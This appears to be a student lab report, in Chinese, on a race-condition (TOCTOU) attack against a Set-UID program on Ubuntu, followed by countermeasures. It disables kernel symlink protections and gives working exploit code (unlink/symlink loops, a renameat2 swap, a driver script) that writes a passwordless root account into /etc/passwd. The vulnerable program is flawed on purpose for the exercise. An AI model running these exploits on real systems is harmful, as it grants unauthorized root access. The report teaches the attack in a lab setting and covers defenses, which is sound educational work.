1. 环境设置
1.1 关闭反制措施
使用 neofetch 查看 Ubuntu 版本信息,如下所示:

Ubuntu 20.04 引入了一种安全机制,防止 root 用户写入 /tmp 中其他人拥有的文件。使用下面的命令禁用这个安全机制:
// On Ubuntu 20.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0

然后将漏洞程序 vulp.c
编译并设置为 Set-UID 程序:

2. Task 1:选择目标
Ubuntu live CD 中有一个用于无口令帐户的 magic 值 U6aMy0wojraho(第 6 个字符是零而非字母 O)。如果我们把这个值放在用户条目的口令字段中,我们只需要在提示输入口令时敲击回车键即可登录。
任务 为了验证 magic 值口令是否有效,我们(作为超级用户)手动将以下条目添加到/etc/passwd 文件的末尾。请在报告中说明你是否可以在不键入口令的情况下登录 test 账户,并检查你是否具有 root 权限。
将以下内容添加进 /etc/passwd
文件中:
test:U6aMy0wojraho:0:0:test:/root:/bin/bash

切换到 test 账户,无需键入口令,并且具有 root 权限。

3. Task 2:发起竞争条件攻击
3.1 Task 2.A:模拟一个缓慢的机器
假设机器非常慢,在 access()
和 fopen()
调用之间有一个 10 秒的时间窗口。为了模拟这种情况, 我们在它们之间添加了 sleep(10)
。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
/* get user input */
scanf("%50s", buffer);
if (!access(fn, W_OK)) {
sleep(10); //<- 10s time window
fp = fopen(fn, "a+");
if (!fp) {
perror("Open failed");
exit(1);
}
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
} else {
printf("No permission \n");
}
return 0;
}
然后重新编译并设置为 Set-UID 程序,并创建一个 /tmp/XYZ
文件。
运行程序时,输入 test:U6aMy0wojraho:0:0:test:/root:/bin/bash
,利用 10 秒的时间窗口,将 /tmp/XYZ
设置为指向 /etc/passwd
的符号链接,使用命令:
ln -sf /etc/passwd /tmp/XYZ (f表示如果存在链接,则先删除链接)
如下所示:

然后此时查看 /etc/passwd
的内容,发现 test:U6aMy0wojraho:0:0:test:/root:/bin/bash
已经被写入。

切换 test 用户,无需密码即可获得 root 权限:

3.2 Task 2.B:进行真实攻击
首先删除 sleep(10)
重新编译并设置成 Set-UID 程序。
3.2.1 编写攻击程序
我们可以使用以下的函数删除链接和创建链接:
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
由于 Linux 不允许在已经存在链接的时候创建链接,所以我们每次在创建链接前都需要先删除链接。
于是我们可以写出这样的攻击脚本:
// attack.c
#include <unistd.h>
int main(){
while(1){
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
usleep(100);
}
return 0;
}
通过一个 while 循环,不断的删除链接和创建 tmp/XYZ
和 /etc/passwd
之间的链接。
然后编写 target_process.sh
,利用 echo 和管道符进行程序的输入。
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
利用 ls -l /etc/passwd
输出的文件修改时间,如果文件修改时间发生变化,说明竞争条件漏洞利用成功,/etc/passwd
文件被修改,此时停止脚本的运行。
3.2.2 运行漏洞程序并观察结果
- 首先运行
attack
攻击脚本。 - 然后运行
target_process.sh
脚本,不断的运行漏洞程序。

3.2.3 验证是否成功
查看 /etc/passwd
,发现 test:U6aMy0wojraho:0:0:test:/root:/bin/bash
成功写入:

切换 test 用户,无需密码成功获得 root 权限:

3.3 Task 2.C:一种改进的攻击方法
在 Task 2.B 中,我们的攻击可能失败,原因是我们编写的攻击脚本也存在着竞争条件漏洞,当执行 unlink 操作删除 /tmp/XYZ
之后,如果执行了 fopen 操作,就会创建一个所有者为 root 的 /tmp/XYZ
,下一次 unlink 操作就无法删除 /tmp/XYZ
。这是因为 /tmp
文件夹上有一个“粘滞”位,意为只有文件的所有者才能删除该文件,即使该文件夹可写。
// attack.c
unlink("/tmp/XYZ"); <- 以 seed 身份 unlink
// vulp.c
fp = fopen(fn, "a+"); <- 以 root 身份 fopen,文件所有者变为 root
// attack.c
unlink("/tmp/XYZ"); <- 以 seed 身份无法 unlink
为了解决这个问题,我们需要将 unlink
和 symlink
操作原子化,幸运的是,有一个系统调用允许我们实现这一点。更准确地说,它允许我们原子地交换两个符号链接。下面的程序首先创建两个符号链接 /tmp/XYZ
和 /tmp/ABC
,然后使用 renameat2
系统调用来原子地交换它们。这允许我们在不引入任何竞争条件的情况下更改 /tmp/XYZ
指向的内容。
我们可以写入如下所示的改进的攻击脚本:
//attack_new.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
unsigned int flags = RENAME_EXCHANGE;
while(1){
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
usleep(100);
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
usleep(100);
renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
}
return 0;
}
使用上面的攻击脚本再次尝试攻击:

切换 test 用户,无需密码成功获得 root 权限:

4. Task 3:预防措施
4.1 Task 3.A:应用最小权限原则
读取 /tmp/XYZ
文件并不需要 root 权限,根据最小权限原则,如果我们不需要 root 权限,我们就要禁用这个权限,因此我们可以使用 seteuid
系统调用暂时禁用 root 权限,确保进程的权限与当前执行者的权限一致,修改后的代码如下所示:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
seteuid(getuid()); //修改进程的euid为执行者的uid
/* get user input */
scanf("%50s", buffer);
if (!access(fn, W_OK)) {
fp = fopen(fn, "a+");
if (!fp) {
perror("Open failed");
exit(1);
}
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
} else {
printf("No permission \n");
}
return 0;
}
编译并设为 Set-UID 程序,再次执行攻击脚本。
**观察结果:**发现攻击失败,出现了 Open failed: Permission denied。

**解释:**由于进程的 euid 被设置成了 seed ,通过了 access()
函数的检测之后,就算修改了符号链接,也无法打开 /etc/passwd
,原因是 /etc/passwd
是 root 可写的,seed 不可写,因此会输出 Open failed: Permission denied。
4.2 Task 3.B:使用 Ubuntu 内置方案
Ubuntu 10.10 和更高版本附带了一个内置的防止竞争条件攻击的保护方案。使用下面的命令重新开启保护:
// On Ubuntu 16.04 and 20.04, use the following command:
$ sudo sysctl -w fs.protected_symlinks=1
// On Ubuntu 12.04, use the following command:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

再次运行攻击脚本。
**观察结果:**发现攻击失败,输出 Open failed: Permission denied。

查阅 Linux Kernel 的文档(https://www.kernel.org/doc/html/latest/admin-guide/sysctl/fs.html#protected-symlinks)发现了该保护方案的机制:
Q:(1)该保护方案是如何工作的?
A:
结合 Linux Kernel 的文档和 SEED book,设这样一个三元组:(跟随者,目录所有者,符号链接所有者),跟随者是进程的有效用户,目录所有者是目录的拥有者,符号链接所有者是创建该符号链接的用户,当符号链接的所有者与跟随者相同,或者与目录所有者相同,fopen 的操作就会被允许,否则 fopen 的操作就会失败。
发起攻击的时候,符号链接的所有者是 seed,而 /tmp 目录的所有者和跟随者都是 root,因此 fopen 的操作会失败,所以会输出 Open failed: Permission denied,进而攻击失败。
Q:(2)这个方案有什么局限性?
A:
- 如果建立符号链接的文件所在目录的所有者是 seed,那么这个保护机制将会失败。
- 限制了系统的灵活性,如果一个 root 用户想通过一个程序访问一个 root 拥有的目录下的 seed 拥有的符号链接,那么就会访问失败。
- 在某些场景下可能带来兼容性问题,如果其他程序依赖不同用户下的符号链接机制,这个程序可能无法正常运行。
5. 思考题
Q1 下面的 Set-UID 程序是否有竞争条件漏洞?并请解释。
if (!access("/etc/passwd", W_OK)) {
/* the real user has the write permission*/
f = open("/tmp/X", O_WRITE);
write_to_file(f);
}
else {
/* the real user does not have the write permission */
fprintf(stderr , "Permission denied\n");
}
存在竞争条件漏洞。
解释:首先,if 判断会检查用户对 /etc/passwd 是否有写权限,而且 access()
函数检查的是用户的真实 id,并且普通用户是无法将 /etc/passwd 设置符号链接的,所以能通过 if 判断的都是 root 用户,这让我感到迷惑,都拥有 root 权限了,还需要通过修改符号链接的方式进行攻击吗?
通过了 if 判断后,攻击者可以将 /tmp/X 设置为指向攻击者想要写入的文件的符号链接,这样执行open 就会打开攻击者想要写入的文件,并执行 write_to_file(f)
对该文件进行写入。
存在漏洞的原因是检查文件和打开文件是两个分离的操作,攻击者可以利用中间的时间窗口对文件进行替换,进行攻击。